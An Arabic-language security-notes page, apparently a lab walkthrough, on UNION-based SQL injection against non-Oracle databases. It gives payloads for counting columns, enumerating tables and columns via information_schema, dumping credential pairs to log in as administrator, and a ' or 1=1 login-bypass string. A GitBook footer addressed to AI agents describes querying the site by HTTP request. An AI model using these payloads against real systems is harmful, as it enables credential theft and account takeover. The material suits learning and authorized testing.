> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/sql-injection/non-oracle-database-enumeration.md).

# استطلاع قواعد البيانات غير Oracle

### هجوم حقن SQL، سرد محتويات قاعدة البيانات على قواعد بيانات غير أوراكل

#### السياق

* المعلمة الضعيفة: `category` المرشح (الحقن عبر `WHERE`).
* يعرض التطبيق نتائج SQL في الاستجابة، مما يتيح `UNION`الاستخراج القائم على

#### الهدف

* حدِّد اسم الجدول الذي يحتوي على بيانات الاعتماد، واكتشف أعمدته، واستخرج `اسم المستخدم` / `كلمة المرور` الأزواج واتصل باسم `administrator`.

#### المنهجية (مراحل موجزة)

1. **تحديد عدد الأعمدة**/ مثال:

   ```sql
   ' ORDER BY 2-- -
   ' ORDER BY 3-- -
   ```

* زد الفهرس حتى تتسبب في خطأ → معرفة عدد الأعمدة لـ `UNION`.

2. **تأكيد `UNION SELECT`**/ مثال (عمودان):

   ```sql
   ' UNION SELECT '1','2'-- -
   ```

* تكيَّف مع الأعمدة N المعادة (استخدم `NULL` للأعمدة غير ذات الصلة).

3. \*\* سرد الجداول\*\* (أساس غير أوراكل — `information_schema`)

   ```sql
   ' UNION SELECT NULL, table_name
     FROM information_schema.tables
     WHERE table_schema = 'public'-- -
   ```

* يتيح لك سرد الجداول في `public` المخطط (متوافق مع Postgres/MySQL).

4. سرد أعمدة جدول محدد

```sql
' UNION SELECT NULL, column_name
  FROM information_schema.columns
  WHERE table_schema = 'public' AND table_name = 'users_arejzy'-- -
```

* استبدل `users_arejzy` بجدول الاكتشاف.

5. استخراج المحتوى (dump)

مثال (الأعمدة المحددة: password/ qxbwwb، username/ lidnwi):

```sql
' UNION SELECT password_qxbwwb, username_lidnwi
  FROM users_arejzy-- -
```

* اضبط ترتيب/نوع الأعمدة وفقًا للطلب القابل للاستغلال (استخدم `CAST`/`CONCAT`/`NULL` إذا لزم الأمر).

6. تجاوز / تسجيل الدخول

* بعد استرجاع username = administrator وpassword، اتصل عبر صفحة المصادقة.
* بدلاً من ذلك، استخدم حمولة لتجاوز المصادقة إذا لم يكن الجدول متاحًا مباشرةً (مثل username = ' or 1=1-- -)، لكن الاستخراج المباشر أفضل للإثبات.

#### النتيجة المتوقعة

* قائمة بأسماء الجداول، ثم الأعمدة، ثم تفريغ بيانات الاعتماد.
* تم الاتصال بنجاح باسم `administrator` باستخدام بيانات اعتماد مُسرَّبة.

#### الأثر

* اختراق الحسابات (تصعيد كامل إذا كان مديرًا)، واستخراج المعلومات الحساسة، وتغيير/حذف البيانات، واحتمال الابتزاز.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/sql-injection/non-oracle-database-enumeration.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
